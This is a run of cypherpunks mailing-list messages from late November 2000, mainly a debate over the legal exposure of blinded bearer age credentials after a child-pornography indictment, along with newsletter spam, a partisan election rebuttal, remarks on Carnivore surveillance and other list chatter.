(obvious at beta.freedom.net) Date: Wed, 29 Nov 2000 12:48:36 -0800 Subject: Authenticate the "adult field", go to jail... Message-ID: RAH writes: > I don't think you understand how bearer credentials would work. > > With blinded bearer credentials, prosecutors wouldn't have much of a leg to > stand on, since the authenticator is only validating the *existence*, or > not, of a blinded age credential. With bearer credentials, authenticated in > exchange, of course, for cash :-), the authenticator of those credentials > has no idea *who* is asking for that proof of age. You're saying that the customer comes to the porn merchant with a blinded credential. The merchant goes to the authenticator with the credential, and pays for it to be authenticated. The blinding is there to protect the customer, as the credential is unlinkable to his credit card which he used to prove his age. > There's no direct sales contact with any particular content vendor. > Validation of age would probably be done in somekind of graded auction > market, anyway. Actually there is direct sales contact with the content vendor. The notion that he is going to come to the authenticator and pay CASH for EVERY customer contact is absurd. It's completely uneconomical until we have a worldwide ecash infrastructure. If that's what you had in mind, shut up for ten years and speak up when you have something relevant to say. What will really happen is that the porn merchant will have an account with the authenticator, and he'll pay every month or so based on how many authentications have been done. That's how business works. This means that there IS sales contact, and the authenticator DOES KNOW who his merchants are. It is exactly the same business relationship as exists today, except that the customers have the benefit of blinding to protect their identities. > >> Thomas Reedy, 37, and his wife, Janice Reedy, 32, of Fort Worth, are > >> accused in an 87-count indictment of providing access to several >child-porn > >> Internet sites by verifying subscribers' credit cards and assigning them > >> passwords. > >> > >> The Reedys maintain that they did not know that some of the pornographic > >> sites they provided access to contained illegal child pornography. > > > > In fact if anything this kind of prosecution is an argument *against* > > getting into the ecash/ecredential business, especially if it is focused > > on porn as some have proposed. All you need is for someone to use it > > to sell or authorize access to kiddie porn, and you're going to jail. > > It would be interesting to see this tested in court. There is sizeable > legal precedent for the issuers of bearer cash, say a nation-state, not > being held liable for purchases using that cash. The same could be said for > issuers of bearer credentials. Somehow I doubt that the Reedys are going to get away with saying that governments aren't held liable for misdeeds commited with their currency, so they shouldn't be blamed when someone sells bad stuff using the Reedy's own services. Look at what they're accused of! Providing access to kiddie porn by verifying credit cards and assigning passwords. That's exactly what your bearer cert business will do except instead of passwords they'll issue blinded tokens. This is especially true when the de facto market for such a business is only the worst porn, the porn that the customers really don't want anyone to be able to find out they were involved with. This kind of information comes out in court. You can't hide it. Obvious. ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From obvious at beta.freedom.net Wed Nov 29 12:50:42 2000 From: obvious at beta.freedom.net (obvious at beta.freedom.net) Date: Wed, 29 Nov 2000 12:50:42 -0800 Subject: CDR: Re: Authenticate the "adult field", go to jail... Message-ID: <200011292052.MAA10878@cyberpass.net> RAH writes: > I don't think you understand how bearer credentials would work. > > With blinded bearer credentials, prosecutors wouldn't have much of a leg to > stand on, since the authenticator is only validating the *existence*, or > not, of a blinded age credential. With bearer credentials, authenticated in > exchange, of course, for cash :-), the authenticator of those credentials > has no idea *who* is asking for that proof of age. You're saying that the customer comes to the porn merchant with a blinded credential. The merchant goes to the authenticator with the credential, and pays for it to be authenticated. The blinding is there to protect the customer, as the credential is unlinkable to his credit card which he used to prove his age. > There's no direct sales contact with any particular content vendor. > Validation of age would probably be done in somekind of graded auction > market, anyway. Actually there is direct sales contact with the content vendor. The notion that he is going to come to the authenticator and pay CASH for EVERY customer contact is absurd. It's completely uneconomical until we have a worldwide ecash infrastructure. If that's what you had in mind, shut up for ten years and speak up when you have something relevant to say. What will really happen is that the porn merchant will have an account with the authenticator, and he'll pay every month or so based on how many authentications have been done. That's how business works. This means that there IS sales contact, and the authenticator DOES KNOW who his merchants are. It is exactly the same business relationship as exists today, except that the customers have the benefit of blinding to protect their identities. > >> Thomas Reedy, 37, and his wife, Janice Reedy, 32, of Fort Worth, are > >> accused in an 87-count indictment of providing access to several child-porn > >> Internet sites by verifying subscribers' credit cards and assigning them > >> passwords. > >> > >> The Reedys maintain that they did not know that some of the pornographic > >> sites they provided access to contained illegal child pornography. > > > > In fact if anything this kind of prosecution is an argument *against* > > getting into the ecash/ecredential business, especially if it is focused > > on porn as some have proposed. All you need is for someone to use it > > to sell or authorize access to kiddie porn, and you're going to jail. > > It would be interesting to see this tested in court. There is sizeable > legal precedent for the issuers of bearer cash, say a nation-state, not > being held liable for purchases using that cash. The same could be said for > issuers of bearer credentials. Somehow I doubt that the Reedys are going to get away with saying that governments aren't held liable for misdeeds commited with their currency, so they shouldn't be blamed when someone sells bad stuff using the Reedy's own services. Look at what they're accused of! Providing access to kiddie porn by verifying credit cards and assigning passwords. That's exactly what your bearer cert business will do except instead of passwords they'll issue blinded tokens. This is especially true when the de facto market for such a business is only the worst porn, the porn that the customers really don't want anyone to be able to find out they were involved with. This kind of information comes out in court. You can't hide it. Obvious. ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From developerWorks at ibm.ihost.com Wed Nov 29 12:14:14 2000 From: developerWorks at ibm.ihost.com (developerWorks editor-in-chief) Date: Wed, 29 Nov 2000 13:14:14 -0700 Subject: CDR: Have you seen the developerWorks newsletter? Message-ID: <20001129131414.000084@ms5out1.messagemedia.com> Dear Developer, Perhaps you haven't had time lately to check out what's new at the developerWorks Web site, IBM's portal for software developers. Or maybe you forgot to look. Either way, we think you'll be pleased to hear that the developerWorks newsletter is designed just for you. To sign up, click below http://www.topica.com/partner/dwjoin/developerworks Getting the newsletter each week is the easiest and best way to keep up with news-breaking content on the site in areas such as Web services, our newest special topic. If you haven't seen the newsletter, you might not know we've started four expert-hosted discussion groups,created several new dW-exclusive tutorials, and introduced an HTML version of the developerWorks newsletter. That's in addition to the top-notch technical content across the zones: Java, XML, Linux, Web architecture, and more. And of course, everything is free. Check out the sample weekly newsletter below. If you like it, take two minutes now to sign up here http://www.topica.com/partner/dwjoin/developerworks We think you'll be glad you did. Sincerely, Michael O'Connell Editor-in-Chief DeveloperWorks P.S. You received this note because you indicated your permission for us to contact you when you signed up for a tutorial or contest from the developerWorks site. If you'd like IBM to refrain from sending you similar e-mails in the future, just reply to this e-mail and use the word "remove" in the Subject line. ==================================================== IBM developerWorks Newsletter (Sample) November 16, 2000 Vol. 1, Issue 14 Tools, code, and tutorials for open standards-based development. need it? get it. http://www.ibm.com/developer?n-11160 ===================================================== >From Singapore to Mainland China and back to New York City, the developerWorks' eye has a view on what's happening. Get inspired by stories of Singaporean startups, enjoy the virtual fireworks celebrating our newest beta site in China, or mingle with the crowds at Internet World in the Big Apple. The itinerary includes stops in the Java and Linux zones, a Web architectural side trip, a pass through the Security area, and other side trips along the way. As always, we crave your feedback. What do you like? Not like? Drop us a line on your travels through our site -- we're listening! The IBM developerWorks team dWnews at us.ibm.com P.S. Instructions on subscribing to or unsubscribing from this newsletter are at the bottom. ===================================================== TABLE OF CONTENTS ===================================================== dW NEWS: China Beta SECURITY: Internet World Report JAVA TECHNOLOGY ZONE: Test Drive Your Code CONTEST: New Prizes This Week! LINUX ZONE: Making the Distribution, Part 1 dW and IBOOKS.COM: dW Offers XML Primer WEB ARCHITECTURE ZONE: Capacity Planning for Growth STARTUP RESOURCES: Technopreneurship in Singapore COMPONENTS ZONE: Is EJB Right for You? ABOUT THIS NEWSLETTER: Subscription Info and Legalese ===================================================== dW NEWS http://www.cn.ibm.com/developerWorks/?n-11160 ===================================================== China Beta Developers in Mainland China can now read articles, tutorials, news, and columns from local technology industry leaders -- all written in Simplified Chinese and geared toward the local developer community. Check out the site and click the feedback link to let us know what you think. http://www.cn.ibm.com/developerWorks/?n-11160 ===================================================== SECURITY http://www.ibm.com/developer/security/?n-s-11160 ===================================================== Internet World Report Larry Loeb scoured the floor at the Fall Internet World 2000 show in New York to catch the latest trends in security. In this special report, you'll learn some useful -- and surprising -- insights on what's going on and what's coming down the pike. http://www.ibm.com/software/developer/library/s-trend.html?n-s-11160 Principles for a Secure System Find out about Principles 2 and 3 in designing and building a secure system: Defense in depth, which advocates the use of multiple defense strategies; and secure failure, the notion that system failure is not necessarily the same as system vulnerability. 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Don't forget to register each week for new prizes! http://www.dwcontest.com/ ===================================================== LINUX ZONE http://www.ibm.com/developer/linux/?n-l-11160 ===================================================== Making the Distribution, Part 1 Get the inside story on how Daniel Robbins put together his own Linux distribution. http://www.ibm.com/software/developer/library/l-dist1.html?n-l-11160 GNOMEnclature: Intro to Bonobo Take another step toward understanding component-based technologies using CORBA and ORBit. http://www.ibm.com/software/developer/library/l-gn-cor/?n-l-1160 Common Threads: Sed by example, Part 3 Daniel concludes his sed series with a powerful QIF-to-text conversion script. http://www.ibm.com/software/developer/library/l-sed3.html?n-l-11160 ===================================================== dW and IBOOKS.COM ===================================================== dW Offers XML Primer If you still haven't registered with ibooks.com, you might be tempted when you hear that this week "XML by Example" is free, compliments of dW, when you register with ibooks.com for the first time. http://www.ibooks.com/?affiliate=00AWJ1MKEQWK67R3LM&msg=xmlex ===================================================== WEB ARCHITECTURE ZONE http://www.ibm.com/developer/web/?n-w-11160 ===================================================== Capacity Planning for Growth Is your Web site poised to satisfy future demands? Can it accommodate potential workload and infrastructure changes as your e-business grows? Use these specific examples, graphs, and sample scenario scripts to help you understand and plan for users' behavior at online shopping, banking, and trading sites. http://www.ibm.com/software/developer/library/w-capacity/?n-w-11160 Introducing RSS News Feeds Learn why RDF Site Summary (RSS) is catching on as one of the most widely used XML formats on the Web. See why companies like Netscape, Userland, and Moreover use RSS to distribute and syndicate article summaries and headlines. The sample code in this article demonstrates elements of an RSS file and includes a Perl example using the module XML::RSS. http://www.ibm.com/software/developer/library/w-rss.html?n-w-11160 ===================================================== STARTUP RESOURCES http://www.ibm.com/developer/startup/?n-st-11160 ===================================================== Technopreneurship in Singapore Alive and well and roaring for more are the technopreneurs and startups in this small Southeast Asian country. A look at this tech-savvy island's tremendous tale of technological entrepreneurship provides insight for Singaporeans and non-Singaporeans alike who want to tap into this trend. http://www.ibm.com/software/developer/library/su-sing.html?n-st-11160 ==================================================== COMPONENTS ZONE http://www.ibm.com/developer/components/?n-co-11160 ==================================================== Is EJB Right for You? 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You are subscribed at: cypherpunks at toad.com From developerWorks at ibm.ihost.com Wed Nov 29 12:14:33 2000 From: developerWorks at ibm.ihost.com (developerWorks editor-in-chief) Date: Wed, 29 Nov 2000 13:14:33 -0700 Subject: CDR: Have you seen the developerWorks newsletter? Message-ID: <20001129131433.000146@ms6out1.messagemedia.com> Dear Developer, Perhaps you haven't had time lately to check out what's new at the developerWorks Web site, IBM's portal for software developers. Or maybe you forgot to look. Either way, we think you'll be pleased to hear that the developerWorks newsletter is designed just for you. To sign up, click below http://www.topica.com/partner/dwjoin/developerworks Getting the newsletter each week is the easiest and best way to keep up with news-breaking content on the site in areas such as Web services, our newest special topic. If you haven't seen the newsletter, you might not know we've started four expert-hosted discussion groups,created several new dW-exclusive tutorials, and introduced an HTML version of the developerWorks newsletter. That's in addition to the top-notch technical content across the zones: Java, XML, Linux, Web architecture, and more. And of course, everything is free. Check out the sample weekly newsletter below. If you like it, take two minutes now to sign up here http://www.topica.com/partner/dwjoin/developerworks We think you'll be glad you did. Sincerely, Michael O'Connell Editor-in-Chief DeveloperWorks P.S. You received this note because you indicated your permission for us to contact you when you signed up for a tutorial or contest from the developerWorks site. If you'd like IBM to refrain from sending you similar e-mails in the future, just reply to this e-mail and use the word "remove" in the Subject line. ==================================================== IBM developerWorks Newsletter (Sample) November 16, 2000 Vol. 1, Issue 14 Tools, code, and tutorials for open standards-based development. need it? get it. http://www.ibm.com/developer?n-11160 ===================================================== >From Singapore to Mainland China and back to New York City, the developerWorks' eye has a view on what's happening. Get inspired by stories of Singaporean startups, enjoy the virtual fireworks celebrating our newest beta site in China, or mingle with the crowds at Internet World in the Big Apple. The itinerary includes stops in the Java and Linux zones, a Web architectural side trip, a pass through the Security area, and other side trips along the way. As always, we crave your feedback. What do you like? Not like? Drop us a line on your travels through our site -- we're listening! The IBM developerWorks team dWnews at us.ibm.com P.S. Instructions on subscribing to or unsubscribing from this newsletter are at the bottom. ===================================================== TABLE OF CONTENTS ===================================================== dW NEWS: China Beta SECURITY: Internet World Report JAVA TECHNOLOGY ZONE: Test Drive Your Code CONTEST: New Prizes This Week! LINUX ZONE: Making the Distribution, Part 1 dW and IBOOKS.COM: dW Offers XML Primer WEB ARCHITECTURE ZONE: Capacity Planning for Growth STARTUP RESOURCES: Technopreneurship in Singapore COMPONENTS ZONE: Is EJB Right for You? ABOUT THIS NEWSLETTER: Subscription Info and Legalese ===================================================== dW NEWS http://www.cn.ibm.com/developerWorks/?n-11160 ===================================================== China Beta Developers in Mainland China can now read articles, tutorials, news, and columns from local technology industry leaders -- all written in Simplified Chinese and geared toward the local developer community. Check out the site and click the feedback link to let us know what you think. http://www.cn.ibm.com/developerWorks/?n-11160 ===================================================== SECURITY http://www.ibm.com/developer/security/?n-s-11160 ===================================================== Internet World Report Larry Loeb scoured the floor at the Fall Internet World 2000 show in New York to catch the latest trends in security. In this special report, you'll learn some useful -- and surprising -- insights on what's going on and what's coming down the pike. http://www.ibm.com/software/developer/library/s-trend.html?n-s-11160 Principles for a Secure System Find out about Principles 2 and 3 in designing and building a secure system: Defense in depth, which advocates the use of multiple defense strategies; and secure failure, the notion that system failure is not necessarily the same as system vulnerability. Authors Gary McGraw and John Viega tell all. http://www.ibm.com/software/developer/library/s-fail.html?n-s-11160 ===================================================== JAVA TECHNOLOGY ZONE http://www.ibm.com/developer/java/?n-j-11160 ===================================================== Test Drive Your Code Learn how JUnit and Ant can automate testing, improve the quality of your software, and save you eons of time and effort over the long haul. http://www-4.ibm.com/software/developer/library/j-ant/?n-j-11160 ===================================================== CONTEST http://www.dwcontest.com/ ===================================================== New Prizes This Week! Five TIVO digital TV recorders are boxed up and waiting to be mailed to five people whose names we'll draw this week. To enter the drawing, simply register your name and e-mail address. While you're registering, download the free tutorial on Linux "Rebol scripting basics" and get a free CD set of developer tools. Don't forget to register each week for new prizes! http://www.dwcontest.com/ ===================================================== LINUX ZONE http://www.ibm.com/developer/linux/?n-l-11160 ===================================================== Making the Distribution, Part 1 Get the inside story on how Daniel Robbins put together his own Linux distribution. http://www.ibm.com/software/developer/library/l-dist1.html?n-l-11160 GNOMEnclature: Intro to Bonobo Take another step toward understanding component-based technologies using CORBA and ORBit. http://www.ibm.com/software/developer/library/l-gn-cor/?n-l-1160 Common Threads: Sed by example, Part 3 Daniel concludes his sed series with a powerful QIF-to-text conversion script. http://www.ibm.com/software/developer/library/l-sed3.html?n-l-11160 ===================================================== dW and IBOOKS.COM ===================================================== dW Offers XML Primer If you still haven't registered with ibooks.com, you might be tempted when you hear that this week "XML by Example" is free, compliments of dW, when you register with ibooks.com for the first time. http://www.ibooks.com/?affiliate=00AWJ1MKEQWK67R3LM&msg=xmlex ===================================================== WEB ARCHITECTURE ZONE http://www.ibm.com/developer/web/?n-w-11160 ===================================================== Capacity Planning for Growth Is your Web site poised to satisfy future demands? Can it accommodate potential workload and infrastructure changes as your e-business grows? Use these specific examples, graphs, and sample scenario scripts to help you understand and plan for users' behavior at online shopping, banking, and trading sites. http://www.ibm.com/software/developer/library/w-capacity/?n-w-11160 Introducing RSS News Feeds Learn why RDF Site Summary (RSS) is catching on as one of the most widely used XML formats on the Web. See why companies like Netscape, Userland, and Moreover use RSS to distribute and syndicate article summaries and headlines. The sample code in this article demonstrates elements of an RSS file and includes a Perl example using the module XML::RSS. http://www.ibm.com/software/developer/library/w-rss.html?n-w-11160 ===================================================== STARTUP RESOURCES http://www.ibm.com/developer/startup/?n-st-11160 ===================================================== Technopreneurship in Singapore Alive and well and roaring for more are the technopreneurs and startups in this small Southeast Asian country. A look at this tech-savvy island's tremendous tale of technological entrepreneurship provides insight for Singaporeans and non-Singaporeans alike who want to tap into this trend. http://www.ibm.com/software/developer/library/su-sing.html?n-st-11160 ==================================================== COMPONENTS ZONE http://www.ibm.com/developer/components/?n-co-11160 ==================================================== Is EJB Right for You? Choosing a development platform is an important architectural decision. Here's info on how to determine whether Enterprise JavaBeans (EJB) is for you and what to look for when evaluating EJBs. http://www.ibm.com/software/developer/library/tip-ejb.html?n-co-11160 ===================================================== NEED MORE? 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You are subscribed at: cypherpunks at cyberpass.net From George at orwellian.org Wed Nov 29 10:43:38 2000 From: George at orwellian.org (George at orwellian.org) Date: Wed, 29 Nov 2000 13:43:38 -0500 Subject: CDR: The PING of Death Message-ID: <200011291821.NAA03379@www9.aa.psiweb.com> Mike Muuss, author of "ping" dies in car accident http://www.theregister.co.uk/content/4/14936.html How about a tombstone with a perpetual ping? Or would that be a grave attack? From jamesd at echeque.com Wed Nov 29 11:14:45 2000 From: jamesd at echeque.com (James A. Donald) Date: Wed, 29 Nov 2000 14:14:45 -0500 Subject: CDR: ecash, cut & choose and private credentials (Re: Jim Bell) In-Reply-To: <200011290450.XAA01454@cypherspace.org> References: <200011290341.WAA01102@cypherspace.org> Message-ID: <5.0.2.1.0.20001129090722.0206f4a8@shell11.ba.best.com> -- Adam Back wrote: > Hal says: > > > > http://www.finney.org/~hal/chcash1.html and > > http://www.finney.org/~hal/chcash2.html > > Wow look at the dates on those files -- Oct 93, and we still no > deployed ecash. You'd think there would be a market there for porn > sites alone with merchant repudiation rates, and lack of privacy in > other payment systems. The obvious starting market for good ecash is perverse pornography. Another good starting market is interactive sexual performance over the internet. There have been many attempts at ecash, but I am not aware of any products involving useful, spendable, convenient, anonymous ecash targeted at that or similar markets. The only really usable anonymous ecash was that of the Mark Twain bank, which crippled its cash to prevent it from being used by that market. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG cuh+C3eQWhWRJIpgp5acy1daeH/5d+NO2bZhXHVs 4Hv1Pc6eHQUlIx4xPSzdjsiVbnVV9HicHxjPDRDxk From k.brown at ccs.bbk.ac.uk Wed Nov 29 06:18:36 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 29 Nov 2000 14:18:36 +0000 Subject: CDR: Re: Survey meters. References: <001901c059e1$dddaedc0$8f1287cb@naveed> Message-ID: <3A25103C.CC448359@ccs.bbk.ac.uk> I was 99% sure that these posts were some sort of spam-scam, whose purpose I didn't quite get. (Am I falling for it by replying?) And about 1% doubtful that it might be a genuine company who had somehow been tricked into sending mail to toad. In which case, if you are reading this, know that your mail got sent to an obsolete gateway to a discussion list on the political and economic effects of new communication technologies & cryptography and we don't now anything about scintillation meters (I haven't used one since September). But what if, just what if, it is some crazy snoop trying to fish for illegal arms dealers? Are they that crass? Are they that imaginative? Do they really have that much time and money to play with? Are these the sort of people who have been so successful in getting Iraq to disarm? (if there are any intelligence agents reading this, that last bit was an example of "irony". This paragraph is "sarcasm". You need to know about those things to decode communications between civilians. Look it up in the handbook. It will be in the exam.) Ken From schear at sj.counterpane.com Wed Nov 29 11:28:55 2000 From: schear at sj.counterpane.com (Steve Schear) Date: Wed, 29 Nov 2000 14:28:55 -0500 Subject: CDR: re: Imagine Message-ID: 1. Imagine that we read of an election occurring anywhere in the third world in which the self-declared winner was the son of the former prime minister and that former prime minister was himself the former head of that nation's secret police (CIA). Correction. He was declared the winner by the fact that he has received 271 of the needed 270 electoral votes. Let's be accurate Please! 2. Imagine that the self-declared winner lost the popular vote but won based on some old colonial holdover (Electoral College) from the nation's pre-democracy past. 1. This country is a republic, not a democracy. 2. The electoral college was designed to protect states rights, it is not a colonial holdover. It is interesting that leading up to the election, democrats were afraid that Prince Al (as the democrats would like to view him) was going to win on the electoral vote but lose the popular vote. At that time the republicans were silent but the dem's were spinning and spinning that the electoral college is the "law of the land" and we must abide by the law. Funny when things do go as expected for the dem's how they can reverse their spin so quickly. Bottom line. IT IS THE LAW!!! 3. Imagine that the self-declared winner's 'victory' turned on disputed votes cast in a province governed by his brother! Again, let's work with facts - About 1% of the ballots that the machines registered as "no president vote" in Dade county. Prince Al claims that these have never been counter. Reality check: In the past elections in 92 and 96, Dade county showed about 1% of the ballots registered as "no vote for president". In the exit polls for Dade county there were an estimated count of 1% that claimed to not have voted for president. Prince Al would have us believe that if the ballot is punched for democrats but only a scratch on the card (note a scratch that only a democrat canvassing board member can see) means a vote for Prince Al. However, the truth is the only ballots that have not been counted in Florida, are the thousands of Military absentee ballots that the democrat "mob" has managed to get rejected PRIOR to any count. 4. Imagine that the poorly drafted ballots of one district, a district heavily favoring the self-declared winner's opponent, led thousands of voters to vote for the wrong candidate. A Ballot designed by the losing candidates party members, approved by the losing candidates party and campaign staff, and is the same ballot layout used in that county in 1996 without complaint, and is the same ballot that when given to 4 grade children 98% were able to figure it out. Finally, if a ballot is a secret vote, and that once cast cannot be traced back to the individual voter, how the ^#$% can the dem's claim that these people knew they voted for the wrong person? If they knew they made a mistake, the "CONFUSING BALLOT" had these strange words on it along with signs in the polling place, that the voter could request a new ballot. 5. Imagine that members of that nation's most despised caste, fearing for their lives/livelihoods, turned out in record numbers to vote in near-universal opposition to the self-declared winner's candidacy. This item makes no sense at all except it does echo the words of who has to be the writers greatest hero Vladimir Iljitsh Uljanov (Lenin). 6. Imagine that state police operating under the authority of the self-declared winner's brother intercepted hundreds of members of that most-despised caste on their way to the polls. see answer to item 5 above. i.e. BULL@@$#$ 7. Imagine that six million people voted in the disputed province and that the self-declared winner's 'lead' was only 327 votes. Fewer, certainly, than the vote counting machines' margin of error. and even after a recount, and hand recount with democrat operatives managing the hand recount still had the legally declared winner as the winner. 8. Imagine that the self-declared winner and his political party opposed a more careful by-hand inspection and re-counting of the ballots in the disputed province or in its most hotly disputed district. You know it is interesting that people who claim some level of intelligence can not see the vote engineering that was attempted by democrat operatives in some counties in an attempt to STEAL the election from the rightful winner. We have had a count, a recount, a re recount, and the same guy won each time. Al lost. GET OVER IT!!!!! 9. Imagine that the self-declared winner, himself a governor of a major province, had the worst human rights record of any province in his nation and actually led the nation in executions. This statement is beneath contempt. 10. Imagine that a major campaign promise of the self-declared winner was to appoint like-minded human rights violators to lifetime positions on the high court of that nation. See answer to 9 Above. The winner of this election has a PROVEN track record of bridging the gulf between the two parties better than any other Governor. This claim was made by Democrat officials of the state where the President Elect is Governor. The current President and Vice President of the country have a record as causing the most partisan wrangling, bickering, and politics of personal destruction in the history of this nation. I guess that is a record to be proud of. Not to mention - National secrets lost to communist nations. Depletion of the national defense armaments. Gutting of the military. (What a great bunch of people to follow) Did I mention that the former Secretary of Labor for the current administration has told Prince Al "it's over, you lost, concede." None of us would deem such an election to be representative of anything other than the self-declared winner's will-to-power. Look back in history, and in this current election, the one continuing the fight when everything shows that you have lost is the selfish one with the will-to-power. Senator Ashcroft had more reasons to contest the election than Prince Al, but for the good of the nation did not. Richard Nixon had just as much right as Prince Al to contest, but for the good of the nation did not. Al Gore may be many things, but history will prove that Statesman is not one of them. All of us, I imagine, would wearily turn the page thinking that it was another sad tale of pitiful pre- or anti-democracy peoples in some strange elsewhere." No this is proof, that all the spin, and all the attempts to thwart the system, the checks and balances put into the system by those, how did you put it, Old Colonials, is there because they knew the hubris of some ego maniacal sociopath like Prince Al and is misguided minions. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 9852 bytes Desc: not available URL: From rah at shipwright.com Wed Nov 29 11:38:01 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Wed, 29 Nov 2000 14:38:01 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... In-Reply-To: <200011291815.NAA26304@marcella.ecarm.org> References: <200011291815.NAA26304@marcella.ecarm.org> Message-ID: At 10:16 AM -0800 on 11/29/00, obvious at beta.freedom.net wrote: > Are you kidding? These people just did the credit card verifications. > They'd be in just as much trouble if they provided bearer credential > services. I don't think you understand how bearer credentials would work. With blinded bearer credentials, prosecutors wouldn't have much of a leg to stand on, since the authenticator is only validating the *existence*, or not, of a blinded age credential. With bearer credentials, authenticated in exchange, of course, for cash :-), the authenticator of those credentials has no idea *who* is asking for that proof of age. There's no direct sales contact with any particular content vendor. Validation of age would probably be done in somekind of graded auction market, anyway. >> Thomas Reedy, 37, and his wife, Janice Reedy, 32, of Fort Worth, are >> accused in an 87-count indictment of providing access to several child-porn >> Internet sites by verifying subscribers' credit cards and assigning them >> passwords. >> >> The Reedys maintain that they did not know that some of the pornographic >> sites they provided access to contained illegal child pornography. > > In fact if anything this kind of prosecution is an argument *against* > getting into the ecash/ecredential business, especially if it is focused > on porn as some have proposed. All you need is for someone to use it > to sell or authorize access to kiddie porn, and you're going to jail. It would be interesting to see this tested in court. There is sizeable legal precedent for the issuers of bearer cash, say a nation-state, not being held liable for purchases using that cash. The same could be said for issuers of bearer credentials. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ernest at luminousnetworks.com Wed Nov 29 14:38:17 2000 From: ernest at luminousnetworks.com (Ernest Hua) Date: Wed, 29 Nov 2000 14:38:17 -0800 Subject: CDR: RE: Arthur Anderson black-bagged, NIPC now spooking Message-ID: <090825D1E60BD311B8390090276D5C4965DD8B@galileo.luminousnetworks.com> > > (BTW, there is little discussion of the commercial espionage aspects > > of Carnivore. I know that Intel must be thrilled at the prospect that > > a Carnivore box attached to some node that their traffic flows > > through will suck up all of _Intel's_ traffic. With luck, it will > > convince companies like Intel and Microsoft to much more widely > > deploy crypto for communications which might be intercepted by > > Carnivores.) > > Carnivore is a toy compared to other commercial tools already out there. > Look at the products from MuTek for example, their 'black box' technology > was done for the CIA. Probably true. Just take a look at the publically advertised info from AST and other NSA supplies, and Carnivore really is just a toy. The claim that this is just a way to test the legal waters (which NSA is generally protected from) has a lot of merit. If this is really the best the FBI can do, I want my tax dollars back. Ern -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1751 bytes Desc: not available URL: From obvious at beta.freedom.net Wed Nov 29 11:41:36 2000 From: obvious at beta.freedom.net (obvious at beta.freedom.net) Date: Wed, 29 Nov 2000 14:41:36 -0500 Subject: CDR: Re: Authenticate the "adult field", go to jail... Message-ID: <200011291817.KAA27950@cyberpass.net> RAH writes: > ...an argument for bearer credentials if there ever was one... Are you kidding? These people just did the credit card verifications. They'd be in just as much trouble if they provided bearer credential services. > Thomas Reedy, 37, and his wife, Janice Reedy, 32, of Fort Worth, are > accused in an 87-count indictment of providing access to several child-porn > Internet sites by verifying subscribers' credit cards and assigning them > passwords. > > The Reedys maintain that they did not know that some of the pornographic > sites they provided access to contained illegal child pornography. In fact if anything this kind of prosecution is an argument *against* getting into the ecash/ecredential business, especially if it is focused on porn as some have proposed. All you need is for someone to use it to sell or authorize access to kiddie porn, and you're going to jail. Obvious. ________________________________________________________________________ Total Internet Privacy -- get your Freedom Nym at http://www.freedom.net From frissell at panix.com Wed Nov 29 11:55:12 2000 From: frissell at panix.com (Duncan Frissell) Date: Wed, 29 Nov 2000 14:55:12 -0500 Subject: CDR: Re: Vinge In-Reply-To: <3A25037E.3DA1D0CC@harmon.arrowhead.lib.mn.us> References: <3A2431DF.7090504@harmon.arrowhead.lib.mn.us> Message-ID: <5.0.0.25.0.20001129144911.03904230@popserver.panix.com> At 08:24 AM 11/29/00 -0500, Harmon Seaver wrote: > And they also say "March 2001", but given the fact that the print >industry is much like the software industry in vaporous publishing dates, >who knows when?. Amazon compounds this by advertising all sorts of books, >etc. that they don't have in hand. > But I'll probably buy the new edition when it comes out. I spend >ridiculous amounts of money on books every month anyway. Just went to one of >those remaindered book outlets last weekend and bought 6-7 books, then went >to Barnes & Noble and bought more. > Like I said, I'd really be happy running a used book store. Guess I'm >just a book freak. AddALL, the best OP book meta search engine, lists quite a few copies including some in the $20-$40 range. http://used.addall.com/SuperRare/submitRare.cgi?order=TITLE&ordering=ASC&author=Vinge&title=True+Names&keyword=&submit=Find+the+Book&isbn=&match=Y&dispCurr=USD&binding=Any+Binding&min=&max=&StoreAbebooks=on&StoreAlibris=on&StoreAntiqbook=on&StoreBibliofind=on&StoreBiblion=on&StoreBookCloseOuts=on&StoreBookAvenue=on&StoreGutenberg=on&StoreHalf=on&StoreJustBooks=on&StorePowells=on I got my copy the easy way by buying it in 1984. DCF ---- [1] And Satan stood up against Israel, and provoked David to number Israel. [3} ... but, my lord the king, are they not all my lord's servants? why then doth my lord require this thing? why will he be a cause of trespass to Israel? [7] And God was displeased with this thing; therefore he smote Israel. 1 Chronicles 21. From bill.stewart at pobox.com Wed Nov 29 15:09:35 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 29 Nov 2000 15:09:35 -0800 Subject: CDR: Re: Survey meters. In-Reply-To: <3A25103C.CC448359@ccs.bbk.ac.uk> References: <001901c059e1$dddaedc0$8f1287cb@naveed> Message-ID: <3.0.5.32.20001129150935.009cb6a0@idiom.com> At 02:18 PM 11/29/00 +0000, Ken Brown wrote: >I was 99% sure that these posts were some sort of spam-scam, whose >purpose I didn't quite get. (Am I falling for it by replying?) ... >But what if, just what if, it is some crazy snoop trying to fish for >illegal arms dealers? Are they that crass? Are they that imaginative? Do >they really have that much time and money to play with? Are these the >sort of people who have been so successful in getting Iraq to disarm? I thought it was entertaining - usually we get kiddies trolling for how to make little b*mbs. This one's trolling for help in making really big ones :-) My opinions on where most of the abuse comes from range from - Kiddies who actually want to make b*mbs or other K00L Anarkey Stuff. Telling their ISPs or their moms is probably a good approach. - Kiddies who've got something scrawled on a virtual bathroom wall saying that it's fun to tweak the cypherpunks mailing list, kind of like kids share which grumpy old neighbor really gets torqued if you ring his doorbell and run away. - Cops, clueless or otherwise, trolling for business. Some of them may just be looking for kiddies, or some may actually 